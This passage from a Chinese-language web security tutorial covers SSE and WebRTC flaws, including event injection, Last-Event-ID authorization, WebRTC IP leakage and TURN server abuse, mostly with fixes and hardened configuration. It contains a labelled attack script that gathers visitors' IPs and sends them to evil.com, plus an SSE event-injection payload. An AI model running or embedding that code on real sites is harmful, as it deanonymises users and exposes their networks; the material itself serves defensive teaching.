//   new EventSource(url)
//   new EventSource(url, { withCredentials: true })   ← 只有一个选项

后果:

  • 只能用 Cookie 认证 → 天然有 CSRF 风险
  • 或者把 Token 放 URL → Token 进日志(和 WebSocket URL 一样的问题)

三种解决方案:

/**
 * 方案 A:Cookie + SameSite(最简单,推荐)
 *
 * 服务端设置:
 *   Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax; Path=/
 *
 * 前端:
 *   const es = new EventSource('/api/stream', { withCredentials: true });
 *
 * 优点:简单,SameSite=Lax 天然防跨站
 * 缺点:跨域场景要配 CORS,且 withCredentials 时 CORS 不能用 *
 */


/**
 * 方案 B:一次性 ticket(和 WebSocket 一样)
 *
 * 1. 先 fetch 换 ticket
 * 2. new EventSource('/api/stream?ticket=xxx')
 */
async function createSecureEventSource(baseUrl) {
  const resp = await fetch(`${baseUrl}/api/sse/ticket`, {
    method: 'POST',
    credentials: 'include'
  });
  const { ticket } = await resp.json();

  // ticket 只用一次,进日志也不怕
  return new EventSource(`${baseUrl}/api/stream?ticket=${ticket}`);
}


/**
 * 方案 C:用 fetch 手动实现 SSE(能设任意头,最灵活)
 *
 * 适用场景:需要 Authorization 头、需要 POST 请求体
 * 代价:要自己实现重连、Last-Event-ID、解析
 */
async function createEventSourceWithHeaders(url, headers, onMessage) {
  const controller = new AbortController();

  const response = await fetch(url, {
    headers: {
      ...headers,
      'Accept': 'text/event-stream',
      'Cache-Control': 'no-cache'
    },
    signal: controller.signal
  });

  if (!response.ok) {
    throw new Error(`SSE 连接失败: ${response.status}`);
  }

  const reader = response.body.getReader();
  const decoder = new TextDecoder();
  let buffer = '';

  // 解析 SSE 格式
  while (true) {
    const { done, value } = await reader.read();
    if (done) break;

    buffer += decoder.decode(value, { stream: true });

    // SSE 格式:每行 data: xxx,两个换行表示一条消息结束
    const lines = buffer.split('\n\n');
    buffer = lines.pop() || '';   // 最后一段可能不完整,留到下批

    for (const line of lines) {
      const dataLine = line.split('\n').find(l => l.startsWith('data: '));
      if (dataLine) {
        const data = dataLine.slice(6);
        onMessage(data);
      }
    }
  }

  return { abort: () => controller.abort() };
}

问题 2:事件注入(Event Injection)

SSE 的消息格式(纯文本协议,理解这一点是理解漏洞的关键):

id: 1
event: message
data: {"content":"你好"}

id: 2
event: update
data: {"progress": 50}

# 空行表示一条消息结束

漏洞原理:服务端把用户输入直接拼进 data: 字段,如果输入里有换行,就能伪造出完整的消息。

// ❌ 漏洞代码
@GetMapping(value = "/api/stream", produces = "text/event-stream")
public SseEmitter stream(@RequestParam String userId) {
    SseEmitter emitter = new SseEmitter();

    // 假设 content 来自用户输入(比如 AI 的回复、日志内容、用户昵称)
    String content = userService.getNickname(userId);

    // 危险!直接拼接
    emitter.send("data: " + content + "\n\n");

    return emitter;
}

攻击:

# 攻击者把昵称改成:
VIP用户
event: admin_grant
data: {"action":"grantAdmin","target":"attacker"}

# 服务端拼出来变成两条消息:
data: VIP用户
event: admin_grant
data: {"action":"grantAdmin","target":"attacker"}

# 浏览器收到第二条事件:event=admin_grant
# 如果前端监听了 admin_grant 事件,就会执行授权逻辑!

✅ 正确做法:

/**
 * SSE 消息构造器(防注入)
 *
 * 原则:所有用户输入必须做"换行转义",
 *       或者干脆用 JSON 序列化(JSON 会把换行转成 \n)
 */
public class SseMessageBuilder {

    /**
     * 方式一:JSON 序列化(推荐)
     *
     * JSON 序列化后,换行变成字面量 \n,
     * 不可能伪造出新的 SSE 行。
     */
    public static String buildJson(String event, Object data) {
        StringBuilder sb = new StringBuilder();

        // id 字段:用于断线重连时告诉服务端"我收到哪了"
        sb.append("id: ").append(System.currentTimeMillis()).append('\n');

        // event 字段:事件名(服务端控制,不能来自用户输入)
        sb.append("event: ").append(sanitizeField(event)).append('\n');

        // data 字段:JSON 序列化,换行被转义
        sb.append("data: ").append(JsonUtil.toJson(data)).append('\n');

        // retry 字段:告诉浏览器重连间隔(毫秒)
        sb.append("retry: 5000").append('\n');

        sb.append('\n');    // 空行表示消息结束
        return sb.toString();
    }

    /**
     * 方式二:多行文本(如果要发多行内容,每行都要加 data: 前缀)
     *
     * SSE 规范:多行数据用多个 data: 行表示,
     * 浏览器会把它们用 \n 连起来。
     */
    public static String buildMultilineText(String event, String text) {
        StringBuilder sb = new StringBuilder();
        sb.append("event: ").append(sanitizeField(event)).append('\n');

        // ★ 关键:每一行都单独加 data: 前缀
        // 这样即使用户输入里有 \n\n,也不会被解析成消息分隔符
        for (String line : text.split("\n", -1)) {
            sb.append("data: ").append(line).append('\n');
        }

        sb.append('\n');
        return sb.toString();
    }

    /**
     * 字段名清洗(event / id 字段不能含换行和冒号)
     */
    private static String sanitizeField(String field) {
        if (field == null) return "";
        return field.replaceAll("[\\r\\n:]", "_");
    }
}

问题 3:Last-Event-ID 重放 / 越权

Last-Event-ID 是什么: 浏览器断线重连时,会自动带上最后一次收到的 id,服务端据此补发漏掉的消息。

漏洞:服务端不校验这个 ID 是否属于当前用户。

// ❌ 漏洞代码
@GetMapping("/api/stream")
public SseEmitter stream(@RequestHeader(value = "Last-Event-ID", required = false)
                         String lastEventId) {
    // 直接拿 lastEventId 去查消息,不校验归属
    List<Message> missed = messageRepo.findByIdGreaterThan(Long.parseLong(lastEventId));
    // ← 攻击者改成别人的 ID,能拿到别人的历史消息!
}

✅ 正确做法:

@GetMapping(value = "/api/stream", produces = "text/event-stream")
public SseEmitter stream(@AuthenticationPrincipal User currentUser,
                         @RequestHeader(value = "Last-Event-ID", required = false)
                         String lastEventId) {
    SseEmitter emitter = new SseEmitter(300_000L);   // 5 分钟超时

    Long userId = currentUser.getId();

    // ★ ① 校验 Last-Event-ID 的格式(防注入)
    Long lastId = null;
    if (lastEventId != null && lastEventId.matches("\\d{1,19}")) {
        lastId = Long.parseLong(lastEventId);
    }

    // ★ ② 补发消息时必须带 userId 条件(关键!)
    if (lastId != null) {
        List<Message> missed = messageRepo.findByUserIdAndIdGreaterThanOrderByIdAsc(
                                   userId, lastId, PageRequest.of(0, 100));

        for (Message msg : missed) {
            emitter.send(SseMessageBuilder.buildJson("message", msg));
        }
    }

    // ③ 注册到推送服务
    ssePushService.register(userId, emitter);

    // ④ 超时/异常/完成 都要清理,否则内存泄漏
    emitter.onTimeout(() -> {
        ssePushService.unregister(userId, emitter);
        emitter.complete();
    });
    emitter.onError(e -> {
        ssePushService.unregister(userId, emitter);
    });
    emitter.onCompletion(() -> {
        ssePushService.unregister(userId, emitter);
    });

    // ⑤ 立即发一条注释,防止代理缓冲(见问题 4)
    emitter.send(": connected\n\n");

    return emitter;
}

问题 4:代理缓冲导致“消息不实时”

现象:SSE 在本地好好的,一上生产就变成“攒够一批才出来”,或者干脆不动了。

原因:

浏览器 ←→ Nginx ←→ 应用

Nginx 默认开启 proxy_buffering:
  应用的响应会先攒在 Nginx 缓冲区,攒够 4KB/8KB 才发给浏览器
  SSE 是长连接流,永远攒不够 → 消息一直卡着

还有:
  - 响应压缩(gzip)也会缓冲
  - 有些 CDN 也会缓冲
  - 老旧的 corporate proxy 更狠

✅ 解决(Nginx 配置):

location /api/stream {
    proxy_pass http://backend;

    # ===== SSE 必需配置 =====
    # ① 关闭缓冲(最关键)
    proxy_buffering off;

    # ② 关闭响应压缩(压缩会缓冲)
    gzip off;

    # ③ 关闭缓存
    proxy_cache off;

    # ④ 使用 HTTP/1.1 并清空 Connection 头(长连接必需)
    proxy_http_version 1.1;
    proxy_set_header Connection '';

    # ⑤ 关闭 chunked 编码的缓冲
    chunked_transfer_encoding on;

    # ⑥ 长时间不超时(默认 60s 会断)
    proxy_read_timeout 3600s;
    proxy_send_timeout 3600s;

    # ⑦ 传递真实 IP
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    # ⑧ 允许跨域(如果前后端分离)
    add_header Access-Control-Allow-Origin $http_origin always;
    add_header Access-Control-Allow-Credentials true always;
}

应用层的兜底(心跳注释):

/**
 * SSE 心跳保活
 *
 * 为什么需要?
 *   ① 防代理超时:有些代理 60 秒没数据就断
 *   ② 检测死连接:客户端关了浏览器,服务端不知道
 *   ③ 防浏览器超时
 *
 * SSE 注释格式:以冒号开头的行是注释,浏览器会忽略
 *   : 这是注释
 */
@Component
@Slf4j
public class SseHeartbeatTask {

    private final Map<Long, Set<SseEmitter>> emitters = new ConcurrentHashMap<>();

    @Scheduled(fixedDelay = 15_000)   // 每 15 秒
    public void sendHeartbeat() {
        int success = 0, failed = 0;

        for (Map.Entry<Long, Set<SseEmitter>> entry : emitters.entrySet()) {
            for (SseEmitter emitter : entry.getValue()) {
                try {
                    // 发送注释(冒号开头,浏览器忽略,但能保持连接活跃)
                    emitter.send(SseEmitter.event()
                            .comment("heartbeat " + System.currentTimeMillis()));
                    success++;
                } catch (Exception e) {
                    // 发送失败说明连接已死,清理掉
                    failed++;
                    entry.getValue().remove(emitter);
                    log.debug("[SSE] 心跳失败,移除连接. userId={}", entry.getKey());
                }
            }
        }

        if (failed > 0) {
            log.info("[SSE] 心跳完成. success={}, removed={}", success, failed);
        }
    }
}

问题 5:连接数耗尽(HTTP/1.1 每域名 6 个连接限制)

现象:用户开了 7 个标签页,第 7 个页面的 SSE 卡住不动了。

原因:HTTP/1.1 规范规定每个域名最多 6 个并发连接。SSE 是长连接,会一直占着。

解决方案对比:

方案 做法 效果
HTTP/2 升级到 HTTP/2 ✅ 根治:多路复用,一个连接承载所有流,默认 100+ 并发
多子域名 sse1.example.com、sse2... ⚠️ 缓解:每域名 6 个,N 个域名 6N 个
SharedWorker 所有标签页共享一个 SSE 连接 ✅ 优雅:但需要额外开发
单页面单连接 前端限制只能有一个 SSE ✅ 简单粗暴:其他标签页靠 localStorage 同步

SharedWorker 方案(优雅解):

/**
 * shared-worker.js —— 所有标签页共享一个 SSE 连接
 *
 * 原理:
 *   SharedWorker 是一个能被同源下所有标签页共享的后台线程。
 *   在它里面建一个 SSE 连接,然后把消息广播给所有标签页。
 *
 * 好处:
 *   - 不管开多少个标签页,只有 1 个 SSE 连接
 *   - 不占浏览器的 6 连接配额
 *   - 服务端压力也小了
 */
let sseConnection = null;
const ports = new Set();      // 所有连接的标签页

self.onconnect = function(event) {
  const port = event.ports[0];
  ports.add(port);

  port.onmessage = function(e) {
    if (e.data.type === 'connect') {
      // 只有第一个标签页真正建立连接
      if (!sseConnection) {
        connectSSE(e.data.url);
      }
    } else if (e.data.type === 'disconnect') {
      ports.delete(port);
      // 最后一个标签页关了才断开
      if (ports.size === 0 && sseConnection) {
        sseConnection.close();
        sseConnection = null;
      }
    }
  };

  port.start();
};

function connectSSE(url) {
  sseConnection = new EventSource(url);

  sseConnection.onmessage = function(event) {
    // 广播给所有标签页
    for (const port of ports) {
      port.postMessage({ type: 'message', data: event.data });
    }
  };

  sseConnection.onerror = function() {
    for (const port of ports) {
      port.postMessage({ type: 'error' });
    }
  };
}

5.3.3 SSE 安全检查清单

SSE 上线前必查(10 项):

认证与授权:
  ☐ Token 不放 URL(用 Cookie+SameSite 或一次性 ticket)
  ☐ Last-Event-ID 校验归属(必须带 userId 条件查询)
  ☐ 每个 emitter 绑定 userId,推送时校验
  ☐ 敏感流加权限校验(不是所有用户都能订阅所有流)

注入防护:
  ☐ data 字段用 JSON 序列化,或每行单独加 "data: " 前缀
  ☐ event / id 字段清洗(去掉 \r \n :)
  ☐ 用户输入不直接拼进 SSE 响应

资源与稳定性:
  ☐ emitter 设置超时(建议 5 分钟)
  ☐ onTimeout / onError / onCompletion 三处都清理注册(防内存泄漏)
  ☐ 心跳保活(15~30 秒一次注释)

部署配置:
  ☐ Nginx: proxy_buffering off + gzip off
  ☐ Nginx: proxy_read_timeout 调大(3600s)
  ☐ HTTP/2 或多子域名(突破 6 连接限制)

5.4 WebRTC 安全(P2P 直连的代价)

5.4.1 WebRTC 是什么(一句话 + 类比)

白话:WebRTC 让两个浏览器直接连起来传音视频/数据,不经过服务器中转。

生活类比:

  • 传统视频会议:你说话 → 传到服务器 → 服务器转给对方(像寄信,都要经过邮局)
  • WebRTC:你说话 → 直接传到对方(像打电话,线路直连)

为什么需要服务器:虽然数据直连,但建立连接的过程需要服务器(信令服务器):

  1. A 想连 B,但 A 不知道 B 在哪
  2. A 通过信令服务器告诉 B:“我想连你,这是我的地址清单”
  3. B 回复:“好的,这是我的地址清单”
  4. 双方尝试直连
  5. 直连失败 → 用 TURN 服务器中转

5.4.2 STUN / TURN / ICE 三个概念(面试必考)

STUN(Session Traversal Utilities for NAT):

白话:帮你查“我在公网上看起来是什么地址”。

生活类比:你住在一个大楼里(NAT/路由器),你的房间号是 192.168.1.5(内网 IP), 但外面的人只知道大楼地址(公网 IP)。STUN 服务器就像大楼前台, 你问他“外面看我是什么地址”,他回答“203.0.113.5:45678”。

     内网设备                    STUN 服务器(公网)
   192.168.1.5  ──请求:我的公网地址是?──→  203.0.113.9:3478
                ←─回应:你是 203.0.113.5:45678 ──

TURN(Traversal Using Relays around NAT):

白话:直连失败时的中转服务器,所有流量都过它。

生活类比:STUN 是帮你问到地址,TURN 是“实在联系不上,你把东西给我,我转交”。 中转是有成本的——流量、带宽、钱。

ICE(Interactive Connectivity Establishment):

白话:收集所有可能的连接方式(本机 IP、STUN 反射地址、TURN 中继地址), 逐个尝试,选出能通的那个。

生活类比:你要找一个人,手上有他的手机号、微信、邮箱、家庭地址、公司地址。 ICE 就是“挨个试,哪个能联系上用哪个”。

ICE 候选(Candidate)的优先级:
   ① host      —— 本机内网 IP(192.168.1.5)        ← 最快,但只能内网直连
   ② srflx     —— STUN 反射地址(203.0.113.5:45678) ← 需要 NAT 打洞
   ③ prflx     —— 对端反射地址
   ④ relay     —— TURN 中继地址                      ← 最慢,但一定能通

5.4.3 ★ 内网 IP 泄露(WebRTC 最著名的隐私问题)

原理:WebRTC 为了能 P2P 直连,必须收集本机的所有网络接口地址(包括内网 IP), 然后通过 STUN 查询公网地址。这些地址作为 ICE 候选发送给对端。

问题:任何网页都能调用 WebRTC API 收集这些地址,不需要任何权限!

攻击代码(就这么几行):

/**
 * WebRTC 内网 IP 泄露 —— 攻击端代码
 *
 * 可怕的地方:
 *   ① 不需要用户授权(不弹权限框)
 *   ② 不需要真的建立连接
 *   ③ 用户完全无感知
 *   ④ 即使用户挂了 VPN,内网 IP 照样泄露(VPN 只改公网出口)
 *   ⑤ 拿到的是真实内网拓扑,对内网渗透极有价值
 */
function leakInternalIP() {
  const ips = new Set();

  // 创建一个 RTCPeerConnection(不需要真的连)
  const pc = new RTCPeerConnection({
    iceServers: [
      { urls: 'stun:stun.l.google.com:19302' }   // 用公共 STUN,不用自己的
    ]
  });

  // 创建一个假的 data channel,触发 ICE 收集
  // (不创建 channel 的话,ICE 不会启动)
  pc.createDataChannel('');

  // 监听 ICE 候选
  pc.onicecandidate = function(event) {
    if (!event || !event.candidate) {
      // 收集完成,把结果发出去
      sendToAttacker(Array.from(ips));
      return;
    }

    const candidate = event.candidate.candidate;
    // candidate 字符串长这样:
    //   candidate:842163049 1 udp 1677729535 203.0.113.5 45678 typ srflx
    //   candidate:1234567890 1 udp 2122260223 192.168.1.5 54321 typ host
    //                                          ↑ 这就是内网 IP

    // 正则提取 IP
    const ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/i;
    const match = candidate.match(ipRegex);

    if (match) {
      const ip = match[1];

      // 过滤掉 IPv6 链接本地地址等无用的
      if (!ip.startsWith('fe80:') && !ip.startsWith('::1') && ip !== '0.0.0.0') {
        ips.add(ip);
        console.log('[泄露] 发现 IP:', ip, '类型:', getType(candidate));
      }
    }
  };

  // 创建 offer 触发收集(SDP 里也会包含地址信息)
  pc.createOffer().then(offer => pc.setLocalDescription(offer));

  function getType(candidate) {
    if (candidate.includes('typ host')) return '内网/本机';
    if (candidate.includes('typ srflx')) return 'STUN 反射(公网)';
    if (candidate.includes('typ relay')) return 'TURN 中继';
    return '未知';
  }

  function sendToAttacker(ipList) {
    // 通过图片请求发出去(绕过 CORS,因为 GET 图片不受限制)
    const img = new Image();
    img.src = 'https://evil.com/collect?ips=' + encodeURIComponent(ipList.join(','));

    // 或者用 fetch(会被 CORS 拦,但请求已经发出去了,服务端已收到)
    fetch('https://evil.com/collect', {
      method: 'POST',
      mode: 'no-cors',      // no-cors 模式下请求能发出去,只是读不到响应
      body: JSON.stringify({ ips: ipList, ua: navigator.userAgent })
    });
  }
}

// 用户只是打开了一个网页,什么都点,内网 IP 就没了
leakInternalIP();

泄露出来的信息有多大价值:

泄露内容:
  192.168.1.5        ← 你的内网 IP(知道网段了)
  10.8.0.6           ← 你的 VPN 内网 IP(暴露在用 VPN!)
  172.17.0.1         ← Docker 网桥(暴露在本机跑 Docker)
  203.0.113.5        ← 真实公网 IP(即使你开着代理/VPN!)

攻击者能推断出:
  ✅ 你真实的公网 IP(绕过 VPN!这是最严重的)
  ✅ 你的内网网段(192.168.1.0/24)→ 后续内网扫描的目标
  ✅ 你是否在企业内网(10.x / 172.16.x)
  ✅ 你是否在用 VPN / 代理
  ✅ 你的网络拓扑(多网卡?虚拟机?Docker?)

为什么 VPN 挡不住?
  VPN 改的是"默认路由",但 WebRTC 会遍历**所有网络接口**,
  包括物理网卡的本地地址。STUN 查询走的是默认路由(VPN),
  拿到的是 VPN 的公网 IP——但 host 候选拿到的是**物理网卡的真实内网 IP**。
  更狠的是:在某些配置下(WebRTC 泄漏 / split tunneling),
  真实公网 IP 也会出现在 srflx 候选里。

三种防御方案:

方案 做法 强度 代价
浏览器插件禁用 uBlock Origin 的 “Prevent WebRTC from leaking local IP” ★★★ 要用户自己装
浏览器设置 Firefox: media.peerconnection.ice.no_host → true
Chrome: 需策略或插件
★★★★ 普通用户不会配
mDNS 混淆(浏览器已默认启用) 用 .local 域名代替真实 IP ★★★★ 已经是默认行为

mDNS 是什么(Chrome 现在的默认方案):

白话:不给真实 IP 了,给一个随机生成的 .local 域名(比如 a3f8-9b2c.local)。 这个域名只在本地网络有效,通过 mDNS 协议解析。

效果:网页拿到的是 a3f8-9b2c.local,不是 192.168.1.5。 攻击者无法从中推断出公网 IP 和内网网段。

局限:

  • 只对 host 候选有效,srflx(STUN 反射的公网 IP)还是会泄露
  • 某些企业网络禁用 mDNS,会导致 WebRTC 连接失败(浏览器会回退)
  • Firefox 的实现和 Chrome 不同

从防御者角度(如果你是安全工程师,要检测这个):

#!/usr/bin/env python3
"""
WebRTC IP 泄露检测脚本

用途:
  1. 自查:我的浏览器/网络配置下,WebRTC 会泄露什么?
  2. 演示:给团队做安全意识培训

需要一个支持执行 JS 的环境(Selenium / Playwright)
"""
import re
import json
from playwright.sync_api import sync_playwright

# 检测页面:内联 HTML,包含 WebRTC 收集代码
DETECT_PAGE = """
<!DOCTYPE html>
<html>
<body>
<script>
window.__leakedIPs = new Set();

window.collectIPs = function() {
    return new Promise((resolve) => {
        const ips = new Set();
        const pc = new RTCPeerConnection({
            iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
        });

        pc.createDataChannel('');

        pc.onicecandidate = (event) => {
            if (!event || !event.candidate) {
                resolve(Array.from(ips));
                return;
            }
            const cand = event.candidate.candidate;
            const match = cand.match(/([0-9]{1,3}(\\.[0-9]{1,3}){3})/);
            if (match) {
                ips.add(JSON.stringify({
                    ip: match[1],
                    type: cand.includes('typ host') ? 'host' :
                          cand.includes('typ srflx') ? 'srflx' :
                          cand.includes('typ relay') ? 'relay' : 'unknown',
                    raw: cand
                }));
            }
        };

        pc.createOffer().then(o => pc.setLocalDescription(o));

        // 3 秒超时
        setTimeout(() => resolve(Array.from(ips)), 3000);
    });
};
</script>
</body>
</html>
"""

def is_private_ip(ip: str) -> bool:
    """判断是否为内网 IP"""
    if ip.startswith('10.'):
        return True
    if ip.startswith('192.168.'):
        return True
    if re.match(r'^172\.(1[6-9]|2[0-9]|3[01])\.', ip):
        return True
    if ip.startswith('169.254.'):   # 链路本地
        return True
    if ip.startswith('127.'):
        return True
    return False

def main():
    print("=" * 70)
    print("WebRTC IP 泄露检测")
    print("=" * 70)

    with sync_playwright() as p:
        browser = p.chromium.launch()
        page = browser.new_page()

        page.set_content(DETECT_PAGE)
        results = page.evaluate("collectIPs()")

        print(f"\n共收集到 {len(results)} 个候选地址:\n")

        leaked_public = []
        leaked_private = []

        for r in results:
            data = json.loads(r)
            ip = data['ip']
            typ = data['type']

            if is_private_ip(ip):
                leaked_private.append(data)
                flag = "🔴 内网 IP 泄露"
            else:
                leaked_public.append(data)
                flag = "🔴🔴 公网 IP 泄露(最严重)"

            print(f"  [{typ:6}] {ip:18} {flag}")

        print("\n" + "=" * 70)
        print("结论:")
        print("=" * 70)

        if leaked_public:
            print(f"❌ 严重:泄露了 {len(leaked_public)} 个公网 IP")
            for d in leaked_public:
                print(f"     {d['ip']}")
            print("\n  风险:你的真实公网 IP 被暴露,")
            print("        即使使用 VPN / 代理,真实位置也可能被推断")
        else:
            print("✅ 未检测到公网 IP 泄露")

        if leaked_private:
            print(f"\n⚠️  警告:泄露了 {len(leaked_private)} 个内网 IP")
            for d in leaked_private:
                print(f"     {d['ip']}")
            print("\n  风险:攻击者可得知你的内网网段,")
            print("        为后续内网扫描和横向移动提供目标")
        else:
            print("\n✅ 未检测到内网 IP 泄露(可能已启用 mDNS 混淆)")

        print("\n【防护建议】")
        print("  1. 安装 uBlock Origin,开启 'Prevent WebRTC from leaking local IP'")
        print("  2. Firefox: about:config 设置 media.peerconnection.ice.no_host = true")
        print("  3. Chrome 企业版:通过组策略禁用 WebRTC 的 host 候选")
        print("  4. 高敏感场景:直接禁用 WebRTC(about:config → media.peerconnection.enabled = false)")

        browser.close()

if __name__ == '__main__':
    main()

5.4.4 TURN 服务器被白嫖(成本攻击)

问题:TURN 服务器是中继,所有流量都过它。如果你的 TURN 服务器没有认证, 任何人都能拿它当中继,用来:

  • 隐藏真实来源(DDoS 跳板)
  • 免费蹭流量(你的带宽账单)
  • 绕过网络审查

真实案例:互联网上有大量开放的 STUN/TURN 服务器被扫描器收录, 被黑产用来做流量中继。

✅ 正确的 TURN 认证(coturn 配置):

# /etc/turnserver.conf —— coturn 安全配置

# ========== 基础 ==========
listening-port=3478
tls-listening-port=5349
listening-ip=10.0.0.5
external-ip=203.0.113.10          # 公网 IP(如果在 NAT 后面)
realm=turn.example.com
server-name=turn.example.com

# ========== ★ 认证(最关键)==========
# 使用长期凭据机制(long-term credential)
# 禁用匿名访问!
no-anonymous-access

# lt-cred-mech:长期凭据(用户名/密码)
lt-cred-mech

# 用数据库存储用户(生产环境推荐)
# 静态用户只适合测试:
#   user=username1:password1
#   user=username2:password2
use-auth-secret                    # ★ 推荐:动态密钥模式
static-auth-secret=YOUR_LONG_RANDOM_SECRET_HERE

# ========== TLS ==========
cert=/etc/letsencrypt/live/turn.example.com/cert.pem
pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
# 只支持 TLS 1.2+
no-tlsv1
no-tlsv1_1
cipher-list="ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20:!aNULL:!MD5:!DSS"

# ========== 防滥用 ==========
# 每个用户的带宽限制(字节/秒)
user-quota=0                       # 0 = 用 total-quota
total-quota=100                    # 总并发中继会话数

# 单个会话的最大带宽(64 KB/s,够视频会议了)
max-bps=262144

# 端口范围(防火墙要放行)
min-port=49152
max-port=65535

# 禁止多播(防放大攻击)
no-multicast-peers

# 禁止 loopback 对等(防本机攻击)
denied-peer-ip=127.0.0.1
denied-peer-ip=127.0.0.0-127.255.255.255
denied-peer-ip=0.0.0.0-0.255.255.255        # ★ 关键:禁止 0.0.0.0/8
denied-peer-ip=10.0.0.0-10.255.255.255      # 禁止中继到内网
denied-peer-ip=192.168.0.0-192.168.255.255
denied-peer-ip=172.16.0.0-172.31.255.255
denied-peer-ip=169.254.0.0-169.254.255.255
denied-peer-ip=100.64.0.0-100.127.255.255   # CGNAT
denied-peer-ip=224.0.0.0-255.255.255.255    # 多播/保留

# ★ 上面这段非常重要!
# 不加的话,攻击者可以用你的 TURN 服务器作为跳板,
# 扫描/攻击你的内网!这叫 "TURN as a port scanner"

# ========== 日志 ==========
verbose
log-file=/var/log/turnserver/turn.log
# 注意:不要记录敏感信息
no-stdout-log

# ========== 其他安全 ==========
# 防止指纹识别
fingerprint
# 防止 DoS
stale-nonce

动态 TURN 凭据生成(推荐做法):

/**
 * TURN 动态凭据服务
 *
 * ★ 核心思想:不给固定密码,而是给"临时用户名 + 一次性密码"
 *
 * coturn 的 use-auth-secret 机制:
 *   用户名格式:timestamp:username      例如:1700000000:alice
 *   密码:base64(HMAC-SHA1(secret, username))
 *
 * 为什么安全?
 *   - 凭据有时效(timestamp 就是过期时间)
 *   - 不需要在 coturn 上预存用户
 *   - 服务端可以控制谁能用、用多久
 *   - 凭据泄露影响有限(很快过期)
 *
 * 生活类比:
 *   固定密码 = 给你一把家门钥匙(丢了要换锁)
 *   动态凭据 = 给你一张 2 小时有效的临时门禁卡(丢了也就 2 小时)
 */
@Service
@Slf4j
public class TurnCredentialService {

    @Value("${turn.secret}")
    private String turnSecret;

    @Value("${turn.server-urls}")
    private List<String> turnUrls;

    @Value("${turn.ttl-seconds:7200}")   // 默认 2 小时
    private long ttlSeconds;

    /**
     * 生成 TURN 临时凭据
     *
     * @param username 用户名(通常是 userId)
     * @return ICE 服务器配置,前端直接传给 RTCPeerConnection
     */
    public IceServerConfig generateCredentials(String username) {
        // ① 计算过期时间戳(Unix 秒)
        long expireAt = System.currentTimeMillis() / 1000 + ttlSeconds;

        // ② 用户名格式:timestamp:username
        String turnUsername = expireAt + ":" + username;

        // ③ 密码 = base64(HMAC-SHA1(secret, turnUsername))
        String credential = computeHmacSha1Base64(turnSecret, turnUsername);

        log.info("[TURN] 生成临时凭据. username={}, expireAt={}({}秒后过期)",
                 username, expireAt, ttlSeconds);

        return IceServerConfig.builder()
                .urls(turnUrls)
                .username(turnUsername)
                .credential(credential)
                .expiresAt(expireAt)
                .build();
    }

    /**
     * 计算 HMAC-SHA1 并 Base64
     */
    private String computeHmacSha1Base64(String secret, String data) {
        try {
            Mac mac = Mac.getInstance("HmacSHA1");
            SecretKeySpec keySpec = new SecretKeySpec(
                secret.getBytes(StandardCharsets.UTF_8), "HmacSHA1");
            mac.init(keySpec);
            byte[] hmac = mac.doFinal(data.getBytes(StandardCharsets.UTF_8));
            return Base64.getEncoder().encodeToString(hmac);
        } catch (NoSuchAlgorithmException | InvalidKeyException e) {
            throw new IllegalStateException("HMAC 计算失败", e);
        }
    }

    /**
     * 限流:防止一个用户疯狂申请 TURN 凭据
     */
    @Autowired
    private StringRedisTemplate redis;

    public IceServerConfig generateWithRateLimit(String username, String clientIp) {
        String key = "turn:rate:" + username;
        Long count = redis.opsForValue().increment(key);
        if (count != null && count == 1) {
            redis.expire(key, Duration.ofHours(1));
        }
        if (count != null && count > 20) {
            throw new BizException("申请过于频繁,请稍后再试");
        }
        return generateCredentials(username);
    }

    public record IceServerConfig(
        List<String> urls,
        String username,
        String credential,
        long expiresAt
    ) {
        public static Builder builder() { return new Builder(); }
        public static class Builder {
            private List<String> urls;
            private String username;
            private String credential;
            private long expiresAt;
            public Builder urls(List<String> v) { this.urls = v; return this; }
            public Builder username(String v) { this.username = v; return this; }
            public Builder credential(String v) { this.credential = v; return this; }
            public Builder expiresAt(long v) { this.expiresAt = v; return this; }
            public IceServerConfig build() {
                return new IceServerConfig(urls, username, credential, expiresAt);
            }
        }
    }
}

前端使用:

/**
 * WebRTC 安全连接建立
 *
 * 关键点:
 *   ① TURN 凭据从服务端动态获取,不硬编码在前端
 *   ② 凭据过期后自动刷新
 *   ③ 强制加密(DTLS-SRTP 是 WebRTC 强制的,但要验证)
 */
class SecureWebRTCClient {

  constructor(apiBase) {
    this.apiBase = apiBase;
    this.pc = null;
    this.iceConfig = null;
  }

  /**
   * 获取 ICE 配置(含 TURN 临时凭据)
   */
  async fetchIceConfig() {
    const resp = await fetch(`${this.apiBase}/api/webrtc/ice-config`, {
      credentials: 'include'
    });

    if (!resp.ok) {
      throw new Error('获取 ICE 配置失败');
    }

    const config = await resp.json();
    this.iceConfig = config;
    return config;
  }

  /**
   * 创建 PeerConnection
   */
  async createPeerConnection() {
    // 凭据快过期时刷新(提前 5 分钟)
    if (!this.iceConfig || this.iceConfig.expiresAt * 1000 - Date.now() < 5 * 60 * 1000) {
      await this.fetchIceConfig();
    }

    this.pc = new RTCPeerConnection({
      iceServers: [
        // STUN(只是查地址,不中继流量,风险较低)
        { urls: 'stun:stun.example.com:3478' },
        // TURN(中继,必须带临时凭据)
        {
          urls: this.iceConfig.urls,
          username: this.iceConfig.username,
          credential: this.iceConfig.credential
        }
      ],
      // ★ 只使用中继(relay)候选 —— 最高安全模式
      // 效果:所有流量都走 TURN,不暴露任何本地 IP
      // 代价:延迟增加、服务器带宽消耗大
      iceTransportPolicy: 'all',     // 'all' 或 'relay'
      bundlePolicy: 'max-bundle',
      rtcpMuxPolicy: 'require'
    });

    // 监控 ICE 状态
    this.pc.oniceconnectionstatechange = () => {
      console.log('[WebRTC] ICE 状态:', this.pc.iceConnectionState);
      if (this.pc.iceConnectionState === 'failed') {
        this.handleIceFailure();
      }
    };

    return this.pc;
  }

  /**
   * ★ 验证连接确实加密了(安全检查)
   *
   * WebRTC 强制使用 DTLS-SRTP,但某些中间设备可能降级,
   * 生产环境应该验证一下。
   */
  async verifyEncryption() {
    const stats = await this.pc.getStats();
    let dtlsVerified = false;
    let srtpCipher = null;

    stats.forEach(report => {
      // 检查 DTLS 传输状态
      if (report.type === 'transport') {
        if (report.dtlsState === 'connected') {
          dtlsVerified = true;
          console.log('[WebRTC] DTLS 已建立');
        }
      }

